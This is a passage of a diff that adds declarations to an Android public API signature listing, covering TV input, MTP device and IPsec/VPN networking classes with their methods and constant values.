+    field public static final int INPUT_STATE_DISCONNECTED = 2; // 0x2
+    field public static final String META_DATA_CONTENT_RATING_SYSTEMS = "android.media.tv.metadata.CONTENT_RATING_SYSTEMS";
+    field public static final int RECORDING_ERROR_INSUFFICIENT_SPACE = 1; // 0x1
+    field public static final int RECORDING_ERROR_RESOURCE_BUSY = 2; // 0x2
+    field public static final int RECORDING_ERROR_UNKNOWN = 0; // 0x0
+    field public static final long TIME_SHIFT_INVALID_TIME = -9223372036854775808L; // 0x8000000000000000L
+    field public static final int TIME_SHIFT_STATUS_AVAILABLE = 3; // 0x3
+    field public static final int TIME_SHIFT_STATUS_UNAVAILABLE = 2; // 0x2
+    field public static final int TIME_SHIFT_STATUS_UNKNOWN = 0; // 0x0
+    field public static final int TIME_SHIFT_STATUS_UNSUPPORTED = 1; // 0x1
+    field public static final int VIDEO_UNAVAILABLE_REASON_AUDIO_ONLY = 4; // 0x4
+    field public static final int VIDEO_UNAVAILABLE_REASON_BUFFERING = 3; // 0x3
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_BLACKOUT = 16; // 0x10
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_CARD_INVALID = 15; // 0xf
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_CARD_MUTE = 14; // 0xe
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_INSUFFICIENT_OUTPUT_PROTECTION = 7; // 0x7
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_LICENSE_EXPIRED = 10; // 0xa
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_NEED_ACTIVATION = 11; // 0xb
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_NEED_PAIRING = 12; // 0xc
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_NO_CARD = 13; // 0xd
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_PVR_RECORDING_NOT_ALLOWED = 8; // 0x8
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_REBOOTING = 17; // 0x11
+    field public static final int VIDEO_UNAVAILABLE_REASON_CAS_UNKNOWN = 18; // 0x12
+    field public static final int VIDEO_UNAVAILABLE_REASON_INSUFFICIENT_RESOURCE = 6; // 0x6
+    field public static final int VIDEO_UNAVAILABLE_REASON_NOT_CONNECTED = 5; // 0x5
+    field public static final int VIDEO_UNAVAILABLE_REASON_TUNING = 1; // 0x1
+    field public static final int VIDEO_UNAVAILABLE_REASON_UNKNOWN = 0; // 0x0
+    field public static final int VIDEO_UNAVAILABLE_REASON_WEAK_SIGNAL = 2; // 0x2
+  }
+
+  public abstract static class TvInputManager.TvInputCallback {
+    ctor public TvInputManager.TvInputCallback();
+    method public void onInputAdded(String);
+    method public void onInputRemoved(String);
+    method public void onInputStateChanged(String, int);
+    method public void onInputUpdated(String);
+    method public void onTvInputInfoUpdated(android.media.tv.TvInputInfo);
+  }
+
+  public abstract class TvInputService extends android.app.Service {
+    ctor public TvInputService();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method @Nullable public android.media.tv.TvInputService.RecordingSession onCreateRecordingSession(@NonNull String);
+    method @Nullable public android.media.tv.TvInputService.RecordingSession onCreateRecordingSession(@NonNull String, @NonNull String);
+    method @Nullable public abstract android.media.tv.TvInputService.Session onCreateSession(@NonNull String);
+    method @Nullable public android.media.tv.TvInputService.Session onCreateSession(@NonNull String, @NonNull String);
+    field public static final int PRIORITY_HINT_USE_CASE_TYPE_BACKGROUND = 100; // 0x64
+    field public static final int PRIORITY_HINT_USE_CASE_TYPE_LIVE = 400; // 0x190
+    field public static final int PRIORITY_HINT_USE_CASE_TYPE_PLAYBACK = 300; // 0x12c
+    field public static final int PRIORITY_HINT_USE_CASE_TYPE_RECORD = 500; // 0x1f4
+    field public static final int PRIORITY_HINT_USE_CASE_TYPE_SCAN = 200; // 0xc8
+    field public static final String SERVICE_INTERFACE = "android.media.tv.TvInputService";
+    field public static final String SERVICE_META_DATA = "android.media.tv.input";
+  }
+
+  public abstract static class TvInputService.HardwareSession extends android.media.tv.TvInputService.Session {
+    ctor public TvInputService.HardwareSession(android.content.Context);
+    method public abstract String getHardwareInputId();
+    method public void onHardwareVideoAvailable();
+    method public void onHardwareVideoUnavailable(int);
+    method public final boolean onSetSurface(android.view.Surface);
+  }
+
+  public abstract static class TvInputService.RecordingSession {
+    ctor public TvInputService.RecordingSession(android.content.Context);
+    method public void notifyError(int);
+    method public void notifyRecordingStopped(android.net.Uri);
+    method public void notifyTuned(android.net.Uri);
+    method public void onAppPrivateCommand(@NonNull String, android.os.Bundle);
+    method public void onPauseRecording(@NonNull android.os.Bundle);
+    method public abstract void onRelease();
+    method public void onResumeRecording(@NonNull android.os.Bundle);
+    method public abstract void onStartRecording(@Nullable android.net.Uri);
+    method public void onStartRecording(@Nullable android.net.Uri, @NonNull android.os.Bundle);
+    method public abstract void onStopRecording();
+    method public abstract void onTune(android.net.Uri);
+    method public void onTune(android.net.Uri, android.os.Bundle);
+  }
+
+  public abstract static class TvInputService.Session implements android.view.KeyEvent.Callback {
+    ctor public TvInputService.Session(android.content.Context);
+    method public void layoutSurface(int, int, int, int);
+    method public void notifyChannelRetuned(android.net.Uri);
+    method public void notifyContentAllowed();
+    method public void notifyContentBlocked(@NonNull android.media.tv.TvContentRating);
+    method public void notifyTimeShiftStatusChanged(int);
+    method public void notifyTrackSelected(int, String);
+    method public void notifyTracksChanged(java.util.List<android.media.tv.TvTrackInfo>);
+    method public void notifyVideoAvailable();
+    method public void notifyVideoUnavailable(int);
+    method public void onAppPrivateCommand(@NonNull String, android.os.Bundle);
+    method public android.view.View onCreateOverlayView();
+    method public boolean onGenericMotionEvent(android.view.MotionEvent);
+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+    method public void onOverlayViewSizeChanged(int, int);
+    method public abstract void onRelease();
+    method public boolean onSelectTrack(int, @Nullable String);
+    method public abstract void onSetCaptionEnabled(boolean);
+    method public abstract void onSetStreamVolume(@FloatRange(from=0.0, to=1.0) float);
+    method public abstract boolean onSetSurface(@Nullable android.view.Surface);
+    method public void onSurfaceChanged(int, int, int);
+    method public long onTimeShiftGetCurrentPosition();
+    method public long onTimeShiftGetStartPosition();
+    method public void onTimeShiftPause();
+    method public void onTimeShiftPlay(android.net.Uri);
+    method public void onTimeShiftResume();
+    method public void onTimeShiftSeekTo(long);
+    method public void onTimeShiftSetPlaybackParams(android.media.PlaybackParams);
+    method public boolean onTouchEvent(android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.view.MotionEvent);
+    method public abstract boolean onTune(android.net.Uri);
+    method public boolean onTune(android.net.Uri, android.os.Bundle);
+    method public void onUnblockContent(android.media.tv.TvContentRating);
+    method public void setOverlayViewEnabled(boolean);
+  }
+
+  public class TvRecordingClient {
+    ctor public TvRecordingClient(android.content.Context, String, @NonNull android.media.tv.TvRecordingClient.RecordingCallback, android.os.Handler);
+    method public void pauseRecording();
+    method public void pauseRecording(@NonNull android.os.Bundle);
+    method public void release();
+    method public void resumeRecording();
+    method public void resumeRecording(@NonNull android.os.Bundle);
+    method public void sendAppPrivateCommand(@NonNull String, android.os.Bundle);
+    method public void startRecording(@Nullable android.net.Uri);
+    method public void startRecording(@Nullable android.net.Uri, @NonNull android.os.Bundle);
+    method public void stopRecording();
+    method public void tune(String, android.net.Uri);
+    method public void tune(String, android.net.Uri, android.os.Bundle);
+  }
+
+  public abstract static class TvRecordingClient.RecordingCallback {
+    ctor public TvRecordingClient.RecordingCallback();
+    method public void onConnectionFailed(String);
+    method public void onDisconnected(String);
+    method public void onError(int);
+    method public void onRecordingStopped(android.net.Uri);
+    method public void onTuned(android.net.Uri);
+  }
+
+  public final class TvTrackInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAudioChannelCount();
+    method public int getAudioSampleRate();
+    method public CharSequence getDescription();
+    method @Nullable public String getEncoding();
+    method public android.os.Bundle getExtra();
+    method public String getId();
+    method public String getLanguage();
+    method public int getType();
+    method public byte getVideoActiveFormatDescription();
+    method public float getVideoFrameRate();
+    method public int getVideoHeight();
+    method public float getVideoPixelAspectRatio();
+    method public int getVideoWidth();
+    method public boolean isAudioDescription();
+    method public boolean isEncrypted();
+    method public boolean isHardOfHearing();
+    method public boolean isSpokenSubtitle();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.tv.TvTrackInfo> CREATOR;
+    field public static final int TYPE_AUDIO = 0; // 0x0
+    field public static final int TYPE_SUBTITLE = 2; // 0x2
+    field public static final int TYPE_VIDEO = 1; // 0x1
+  }
+
+  public static final class TvTrackInfo.Builder {
+    ctor public TvTrackInfo.Builder(int, @NonNull String);
+    method @NonNull public android.media.tv.TvTrackInfo build();
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setAudioChannelCount(int);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setAudioDescription(boolean);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setAudioSampleRate(int);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setDescription(@NonNull CharSequence);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setEncoding(@Nullable String);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setEncrypted(boolean);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setExtra(@NonNull android.os.Bundle);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setHardOfHearing(boolean);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setLanguage(@NonNull String);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setSpokenSubtitle(boolean);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setVideoActiveFormatDescription(byte);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setVideoFrameRate(float);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setVideoHeight(int);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setVideoPixelAspectRatio(float);
+    method @NonNull public android.media.tv.TvTrackInfo.Builder setVideoWidth(int);
+  }
+
+  public class TvView extends android.view.ViewGroup {
+    ctor public TvView(android.content.Context);
+    ctor public TvView(android.content.Context, android.util.AttributeSet);
+    ctor public TvView(android.content.Context, android.util.AttributeSet, int);
+    method public boolean dispatchUnhandledInputEvent(android.view.InputEvent);
+    method public String getSelectedTrack(int);
+    method public java.util.List<android.media.tv.TvTrackInfo> getTracks(int);
+    method public boolean onUnhandledInputEvent(android.view.InputEvent);
+    method public void reset();
+    method public void selectTrack(int, String);
+    method public void sendAppPrivateCommand(@NonNull String, android.os.Bundle);
+    method public void setCallback(@Nullable android.media.tv.TvView.TvInputCallback);
+    method public void setCaptionEnabled(boolean);
+    method public void setOnUnhandledInputEventListener(android.media.tv.TvView.OnUnhandledInputEventListener);
+    method public void setStreamVolume(@FloatRange(from=0.0, to=1.0) float);
+    method public void setTimeShiftPositionCallback(@Nullable android.media.tv.TvView.TimeShiftPositionCallback);
+    method public void setZOrderMediaOverlay(boolean);
+    method public void setZOrderOnTop(boolean);
+    method public void timeShiftPause();
+    method public void timeShiftPlay(String, android.net.Uri);
+    method public void timeShiftResume();
+    method public void timeShiftSeekTo(long);
+    method public void timeShiftSetPlaybackParams(@NonNull android.media.PlaybackParams);
+    method public void tune(@NonNull String, android.net.Uri);
+    method public void tune(String, android.net.Uri, android.os.Bundle);
+  }
+
+  public static interface TvView.OnUnhandledInputEventListener {
+    method public boolean onUnhandledInputEvent(android.view.InputEvent);
+  }
+
+  public abstract static class TvView.TimeShiftPositionCallback {
+    ctor public TvView.TimeShiftPositionCallback();
+    method public void onTimeShiftCurrentPositionChanged(String, long);
+    method public void onTimeShiftStartPositionChanged(String, long);
+  }
+
+  public abstract static class TvView.TvInputCallback {
+    ctor public TvView.TvInputCallback();
+    method public void onChannelRetuned(String, android.net.Uri);
+    method public void onConnectionFailed(String);
+    method public void onContentAllowed(String);
+    method public void onContentBlocked(String, android.media.tv.TvContentRating);
+    method public void onDisconnected(String);
+    method public void onTimeShiftStatusChanged(String, int);
+    method public void onTrackSelected(String, int, String);
+    method public void onTracksChanged(String, java.util.List<android.media.tv.TvTrackInfo>);
+    method public void onVideoAvailable(String);
+    method public void onVideoSizeChanged(String, int, int);
+    method public void onVideoUnavailable(String, int);
+  }
+
+}
+
+package android.mtp {
+
+  public final class MtpConstants {
+    ctor public MtpConstants();
+    method public static boolean isAbstractObject(int);
+    field public static final int ASSOCIATION_TYPE_GENERIC_FOLDER = 1; // 0x1
+    field public static final int FORMAT_3GP_CONTAINER = 47492; // 0xb984
+    field public static final int FORMAT_AAC = 47363; // 0xb903
+    field public static final int FORMAT_ABSTRACT_AUDIO_ALBUM = 47619; // 0xba03
+    field public static final int FORMAT_ABSTRACT_AUDIO_PLAYLIST = 47625; // 0xba09
+    field public static final int FORMAT_ABSTRACT_AV_PLAYLIST = 47621; // 0xba05
+    field public static final int FORMAT_ABSTRACT_DOCUMENT = 47745; // 0xba81
+    field public static final int FORMAT_ABSTRACT_IMAGE_ALBUM = 47618; // 0xba02
+    field public static final int FORMAT_ABSTRACT_MEDIACAST = 47627; // 0xba0b
+    field public static final int FORMAT_ABSTRACT_MULTIMEDIA_ALBUM = 47617; // 0xba01
+    field public static final int FORMAT_ABSTRACT_VIDEO_ALBUM = 47620; // 0xba04
+    field public static final int FORMAT_ABSTRACT_VIDEO_PLAYLIST = 47626; // 0xba0a
+    field public static final int FORMAT_AIFF = 12295; // 0x3007
+    field public static final int FORMAT_ASF = 12300; // 0x300c
+    field public static final int FORMAT_ASSOCIATION = 12289; // 0x3001
+    field public static final int FORMAT_ASX_PLAYLIST = 47635; // 0xba13
+    field public static final int FORMAT_AUDIBLE = 47364; // 0xb904
+    field public static final int FORMAT_AVI = 12298; // 0x300a
+    field public static final int FORMAT_BMP = 14340; // 0x3804
+    field public static final int FORMAT_DEFINED = 14336; // 0x3800
+    field public static final int FORMAT_DNG = 14353; // 0x3811
+    field public static final int FORMAT_DPOF = 12294; // 0x3006
+    field public static final int FORMAT_EXECUTABLE = 12291; // 0x3003
+    field public static final int FORMAT_EXIF_JPEG = 14337; // 0x3801
+    field public static final int FORMAT_FLAC = 47366; // 0xb906
+    field public static final int FORMAT_GIF = 14343; // 0x3807
+    field public static final int FORMAT_HTML = 12293; // 0x3005
+    field public static final int FORMAT_JFIF = 14344; // 0x3808
+    field public static final int FORMAT_JP2 = 14351; // 0x380f
+    field public static final int FORMAT_JPX = 14352; // 0x3810
+    field public static final int FORMAT_M3U_PLAYLIST = 47633; // 0xba11
+    field public static final int FORMAT_MP2 = 47491; // 0xb983
+    field public static final int FORMAT_MP3 = 12297; // 0x3009
+    field public static final int FORMAT_MP4_CONTAINER = 47490; // 0xb982
+    field public static final int FORMAT_MPEG = 12299; // 0x300b
+    field public static final int FORMAT_MPL_PLAYLIST = 47634; // 0xba12
+    field public static final int FORMAT_MS_EXCEL_SPREADSHEET = 47749; // 0xba85
+    field public static final int FORMAT_MS_POWERPOINT_PRESENTATION = 47750; // 0xba86
+    field public static final int FORMAT_MS_WORD_DOCUMENT = 47747; // 0xba83
+    field public static final int FORMAT_OGG = 47362; // 0xb902
+    field public static final int FORMAT_PICT = 14346; // 0x380a
+    field public static final int FORMAT_PLS_PLAYLIST = 47636; // 0xba14
+    field public static final int FORMAT_PNG = 14347; // 0x380b
+    field public static final int FORMAT_SCRIPT = 12290; // 0x3002
+    field public static final int FORMAT_TEXT = 12292; // 0x3004
+    field public static final int FORMAT_TIFF = 14349; // 0x380d
+    field public static final int FORMAT_TIFF_EP = 14338; // 0x3802
+    field public static final int FORMAT_UNDEFINED = 12288; // 0x3000
+    field public static final int FORMAT_UNDEFINED_AUDIO = 47360; // 0xb900
+    field public static final int FORMAT_UNDEFINED_COLLECTION = 47616; // 0xba00
+    field public static final int FORMAT_UNDEFINED_DOCUMENT = 47744; // 0xba80
+    field public static final int FORMAT_UNDEFINED_FIRMWARE = 47106; // 0xb802
+    field public static final int FORMAT_UNDEFINED_VIDEO = 47488; // 0xb980
+    field public static final int FORMAT_WAV = 12296; // 0x3008
+    field public static final int FORMAT_WINDOWS_IMAGE_FORMAT = 47233; // 0xb881
+    field public static final int FORMAT_WMA = 47361; // 0xb901
+    field public static final int FORMAT_WMV = 47489; // 0xb981
+    field public static final int FORMAT_WPL_PLAYLIST = 47632; // 0xba10
+    field public static final int FORMAT_XML_DOCUMENT = 47746; // 0xba82
+    field public static final int OPERATION_CLOSE_SESSION = 4099; // 0x1003
+    field public static final int OPERATION_COPY_OBJECT = 4122; // 0x101a
+    field public static final int OPERATION_DELETE_OBJECT = 4107; // 0x100b
+    field public static final int OPERATION_FORMAT_STORE = 4111; // 0x100f
+    field public static final int OPERATION_GET_DEVICE_INFO = 4097; // 0x1001
+    field public static final int OPERATION_GET_DEVICE_PROP_DESC = 4116; // 0x1014
+    field public static final int OPERATION_GET_DEVICE_PROP_VALUE = 4117; // 0x1015
+    field public static final int OPERATION_GET_NUM_OBJECTS = 4102; // 0x1006
+    field public static final int OPERATION_GET_OBJECT = 4105; // 0x1009
+    field public static final int OPERATION_GET_OBJECT_HANDLES = 4103; // 0x1007
+    field public static final int OPERATION_GET_OBJECT_INFO = 4104; // 0x1008
+    field public static final int OPERATION_GET_OBJECT_PROPS_SUPPORTED = 38913; // 0x9801
+    field public static final int OPERATION_GET_OBJECT_PROP_DESC = 38914; // 0x9802
+    field public static final int OPERATION_GET_OBJECT_PROP_VALUE = 38915; // 0x9803
+    field public static final int OPERATION_GET_OBJECT_REFERENCES = 38928; // 0x9810
+    field public static final int OPERATION_GET_PARTIAL_OBJECT = 4123; // 0x101b
+    field public static final int OPERATION_GET_PARTIAL_OBJECT_64 = 38337; // 0x95c1
+    field public static final int OPERATION_GET_STORAGE_INFO = 4101; // 0x1005
+    field public static final int OPERATION_GET_STORAGE_I_DS = 4100; // 0x1004
+    field public static final int OPERATION_GET_THUMB = 4106; // 0x100a
+    field public static final int OPERATION_INITIATE_CAPTURE = 4110; // 0x100e
+    field public static final int OPERATION_INITIATE_OPEN_CAPTURE = 4124; // 0x101c
+    field public static final int OPERATION_MOVE_OBJECT = 4121; // 0x1019
+    field public static final int OPERATION_OPEN_SESSION = 4098; // 0x1002
+    field public static final int OPERATION_POWER_DOWN = 4115; // 0x1013
+    field public static final int OPERATION_RESET_DEVICE = 4112; // 0x1010
+    field public static final int OPERATION_RESET_DEVICE_PROP_VALUE = 4119; // 0x1017
+    field public static final int OPERATION_SELF_TEST = 4113; // 0x1011
+    field public static final int OPERATION_SEND_OBJECT = 4109; // 0x100d
+    field public static final int OPERATION_SEND_OBJECT_INFO = 4108; // 0x100c
+    field public static final int OPERATION_SET_DEVICE_PROP_VALUE = 4118; // 0x1016
+    field public static final int OPERATION_SET_OBJECT_PROP_VALUE = 38916; // 0x9804
+    field public static final int OPERATION_SET_OBJECT_PROTECTION = 4114; // 0x1012
+    field public static final int OPERATION_SET_OBJECT_REFERENCES = 38929; // 0x9811
+    field public static final int OPERATION_SKIP = 38944; // 0x9820
+    field public static final int OPERATION_TERMINATE_OPEN_CAPTURE = 4120; // 0x1018
+    field public static final int PROTECTION_STATUS_NONE = 0; // 0x0
+    field public static final int PROTECTION_STATUS_NON_TRANSFERABLE_DATA = 32771; // 0x8003
+    field public static final int PROTECTION_STATUS_READ_ONLY = 32769; // 0x8001
+    field public static final int PROTECTION_STATUS_READ_ONLY_DATA = 32770; // 0x8002
+  }
+
+  public final class MtpDevice {
+    ctor public MtpDevice(@NonNull android.hardware.usb.UsbDevice);
+    method public void close();
+    method public boolean deleteObject(int);
+    method public int getDeviceId();
+    method @Nullable public android.mtp.MtpDeviceInfo getDeviceInfo();
+    method @NonNull public String getDeviceName();
+    method @Nullable public byte[] getObject(int, int);
+    method @Nullable public int[] getObjectHandles(int, int, int);
+    method @Nullable public android.mtp.MtpObjectInfo getObjectInfo(int);
+    method public long getParent(int);
+    method public long getPartialObject(int, long, long, @NonNull byte[]) throws java.io.IOException;
+    method public long getPartialObject64(int, long, long, @NonNull byte[]) throws java.io.IOException;
+    method public long getStorageId(int);
+    method @Nullable public int[] getStorageIds();
+    method @Nullable public android.mtp.MtpStorageInfo getStorageInfo(int);
+    method @Nullable public byte[] getThumbnail(int);
+    method public boolean importFile(int, @NonNull String);
+    method public boolean importFile(int, @NonNull android.os.ParcelFileDescriptor);
+    method public boolean open(@NonNull android.hardware.usb.UsbDeviceConnection);
+    method @NonNull public android.mtp.MtpEvent readEvent(@Nullable android.os.CancellationSignal) throws java.io.IOException;
+    method public boolean sendObject(int, long, @NonNull android.os.ParcelFileDescriptor);
+    method @Nullable public android.mtp.MtpObjectInfo sendObjectInfo(@NonNull android.mtp.MtpObjectInfo);
+  }
+
+  public class MtpDeviceInfo {
+    method @NonNull public final int[] getEventsSupported();
+    method @NonNull public final String getManufacturer();
+    method @NonNull public final String getModel();
+    method @NonNull public final int[] getOperationsSupported();
+    method @NonNull public final String getSerialNumber();
+    method @NonNull public final String getVersion();
+    method public boolean isEventSupported(int);
+    method public boolean isOperationSupported(int);
+  }
+
+  public class MtpEvent {
+    method public int getDevicePropCode();
+    method public int getEventCode();
+    method public int getObjectFormatCode();
+    method public int getObjectHandle();
+    method public int getObjectPropCode();
+    method public int getParameter1();
+    method public int getParameter2();
+    method public int getParameter3();
+    method public int getStorageId();
+    method public int getTransactionId();
+    field public static final int EVENT_CANCEL_TRANSACTION = 16385; // 0x4001
+    field public static final int EVENT_CAPTURE_COMPLETE = 16397; // 0x400d
+    field public static final int EVENT_DEVICE_INFO_CHANGED = 16392; // 0x4008
+    field public static final int EVENT_DEVICE_PROP_CHANGED = 16390; // 0x4006
+    field public static final int EVENT_DEVICE_RESET = 16395; // 0x400b
+    field public static final int EVENT_OBJECT_ADDED = 16386; // 0x4002
+    field public static final int EVENT_OBJECT_INFO_CHANGED = 16391; // 0x4007
+    field public static final int EVENT_OBJECT_PROP_CHANGED = 51201; // 0xc801
+    field public static final int EVENT_OBJECT_PROP_DESC_CHANGED = 51202; // 0xc802
+    field public static final int EVENT_OBJECT_REFERENCES_CHANGED = 51203; // 0xc803
+    field public static final int EVENT_OBJECT_REMOVED = 16387; // 0x4003
+    field public static final int EVENT_REQUEST_OBJECT_TRANSFER = 16393; // 0x4009
+    field public static final int EVENT_STORAGE_INFO_CHANGED = 16396; // 0x400c
+    field public static final int EVENT_STORE_ADDED = 16388; // 0x4004
+    field public static final int EVENT_STORE_FULL = 16394; // 0x400a
+    field public static final int EVENT_STORE_REMOVED = 16389; // 0x4005
+    field public static final int EVENT_UNDEFINED = 16384; // 0x4000
+    field public static final int EVENT_UNREPORTED_STATUS = 16398; // 0x400e
+  }
+
+  public final class MtpObjectInfo {
+    method public int getAssociationDesc();
+    method public int getAssociationType();
+    method public int getCompressedSize();
+    method public long getCompressedSizeLong();
+    method public long getDateCreated();
+    method public long getDateModified();
+    method public int getFormat();
+    method public int getImagePixDepth();
+    method public long getImagePixDepthLong();
+    method public int getImagePixHeight();
+    method public long getImagePixHeightLong();
+    method public int getImagePixWidth();
+    method public long getImagePixWidthLong();
+    method @NonNull public String getKeywords();
+    method @NonNull public String getName();
+    method public int getObjectHandle();
+    method public int getParent();
+    method public int getProtectionStatus();
+    method public int getSequenceNumber();
+    method public long getSequenceNumberLong();
+    method public int getStorageId();
+    method public int getThumbCompressedSize();
+    method public long getThumbCompressedSizeLong();
+    method public int getThumbFormat();
+    method public int getThumbPixHeight();
+    method public long getThumbPixHeightLong();
+    method public int getThumbPixWidth();
+    method public long getThumbPixWidthLong();
+  }
+
+  public static class MtpObjectInfo.Builder {
+    ctor public MtpObjectInfo.Builder();
+    ctor public MtpObjectInfo.Builder(android.mtp.MtpObjectInfo);
+    method public android.mtp.MtpObjectInfo build();
+    method public android.mtp.MtpObjectInfo.Builder setAssociationDesc(int);
+    method public android.mtp.MtpObjectInfo.Builder setAssociationType(int);
+    method public android.mtp.MtpObjectInfo.Builder setCompressedSize(long);
+    method public android.mtp.MtpObjectInfo.Builder setDateCreated(long);
+    method public android.mtp.MtpObjectInfo.Builder setDateModified(long);
+    method public android.mtp.MtpObjectInfo.Builder setFormat(int);
+    method public android.mtp.MtpObjectInfo.Builder setImagePixDepth(long);
+    method public android.mtp.MtpObjectInfo.Builder setImagePixHeight(long);
+    method public android.mtp.MtpObjectInfo.Builder setImagePixWidth(long);
+    method public android.mtp.MtpObjectInfo.Builder setKeywords(@NonNull String);
+    method public android.mtp.MtpObjectInfo.Builder setName(@NonNull String);
+    method public android.mtp.MtpObjectInfo.Builder setObjectHandle(int);
+    method public android.mtp.MtpObjectInfo.Builder setParent(int);
+    method public android.mtp.MtpObjectInfo.Builder setProtectionStatus(int);
+    method public android.mtp.MtpObjectInfo.Builder setSequenceNumber(long);
+    method public android.mtp.MtpObjectInfo.Builder setStorageId(int);
+    method public android.mtp.MtpObjectInfo.Builder setThumbCompressedSize(long);
+    method public android.mtp.MtpObjectInfo.Builder setThumbFormat(int);
+    method public android.mtp.MtpObjectInfo.Builder setThumbPixHeight(long);
+    method public android.mtp.MtpObjectInfo.Builder setThumbPixWidth(long);
+  }
+
+  public final class MtpStorageInfo {
+    method @NonNull public String getDescription();
+    method public long getFreeSpace();
+    method public long getMaxCapacity();
+    method public int getStorageId();
+    method @NonNull public String getVolumeIdentifier();
+  }
+
+}
+
+package android.net {
+
+  public class Credentials {
+    ctor public Credentials(int, int, int);
+    method public int getGid();
+    method public int getPid();
+    method public int getUid();
+  }
+
+  public final class Ikev2VpnProfile extends android.net.PlatformVpnProfile {
+    method @NonNull public java.util.List<java.lang.String> getAllowedAlgorithms();
+    method public int getMaxMtu();
+    method @Nullable public String getPassword();
+    method @Nullable public byte[] getPresharedKey();
+    method @Nullable public android.net.ProxyInfo getProxyInfo();
+    method @Nullable public java.security.PrivateKey getRsaPrivateKey();
+    method @NonNull public String getServerAddr();
+    method @Nullable public java.security.cert.X509Certificate getServerRootCaCert();
+    method @Nullable public java.security.cert.X509Certificate getUserCert();
+    method @NonNull public String getUserIdentity();
+    method @Nullable public String getUsername();
+    method public boolean isBypassable();
+    method public boolean isMetered();
+  }
+
+  public static final class Ikev2VpnProfile.Builder {
+    ctor public Ikev2VpnProfile.Builder(@NonNull String, @NonNull String);
+    method @NonNull public android.net.Ikev2VpnProfile build();
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setAllowedAlgorithms(@NonNull java.util.List<java.lang.String>);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setAuthDigitalSignature(@NonNull java.security.cert.X509Certificate, @NonNull java.security.PrivateKey, @Nullable java.security.cert.X509Certificate);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setAuthPsk(@NonNull byte[]);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setAuthUsernamePassword(@NonNull String, @NonNull String, @Nullable java.security.cert.X509Certificate);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setBypassable(boolean);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setMaxMtu(int);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setMetered(boolean);
+    method @NonNull public android.net.Ikev2VpnProfile.Builder setProxy(@Nullable android.net.ProxyInfo);
+  }
+
+  public final class IpSecAlgorithm implements android.os.Parcelable {
+    ctor public IpSecAlgorithm(@NonNull String, @NonNull byte[]);
+    ctor public IpSecAlgorithm(@NonNull String, @NonNull byte[], int);
+    method public int describeContents();
+    method @NonNull public byte[] getKey();
+    method @NonNull public String getName();
+    method @NonNull public static java.util.Set<java.lang.String> getSupportedAlgorithms();
+    method public int getTruncationLengthBits();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final String AUTH_AES_CMAC = "cmac(aes)";
+    field public static final String AUTH_AES_XCBC = "xcbc(aes)";
+    field public static final String AUTH_CRYPT_AES_GCM = "rfc4106(gcm(aes))";
+    field public static final String AUTH_CRYPT_CHACHA20_POLY1305 = "rfc7539esp(chacha20,poly1305)";
+    field public static final String AUTH_HMAC_MD5 = "hmac(md5)";
+    field public static final String AUTH_HMAC_SHA1 = "hmac(sha1)";
+    field public static final String AUTH_HMAC_SHA256 = "hmac(sha256)";
+    field public static final String AUTH_HMAC_SHA384 = "hmac(sha384)";
+    field public static final String AUTH_HMAC_SHA512 = "hmac(sha512)";
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.IpSecAlgorithm> CREATOR;
+    field public static final String CRYPT_AES_CBC = "cbc(aes)";
+    field public static final String CRYPT_AES_CTR = "rfc3686(ctr(aes))";
+  }
+
+  public final class IpSecManager {
+    method @NonNull public android.net.IpSecManager.SecurityParameterIndex allocateSecurityParameterIndex(@NonNull java.net.InetAddress) throws android.net.IpSecManager.ResourceUnavailableException;
+    method @NonNull public android.net.IpSecManager.SecurityParameterIndex allocateSecurityParameterIndex(@NonNull java.net.InetAddress, int) throws android.net.IpSecManager.ResourceUnavailableException, android.net.IpSecManager.SpiUnavailableException;
+    method public void applyTransportModeTransform(@NonNull java.net.Socket, int, @NonNull android.net.IpSecTransform) throws java.io.IOException;
+    method public void applyTransportModeTransform(@NonNull java.net.DatagramSocket, int, @NonNull android.net.IpSecTransform) throws java.io.IOException;
+    method public void applyTransportModeTransform(@NonNull java.io.FileDescriptor, int, @NonNull android.net.IpSecTransform) throws java.io.IOException;
+    method @NonNull public android.net.IpSecManager.UdpEncapsulationSocket openUdpEncapsulationSocket(int) throws java.io.IOException, android.net.IpSecManager.ResourceUnavailableException;
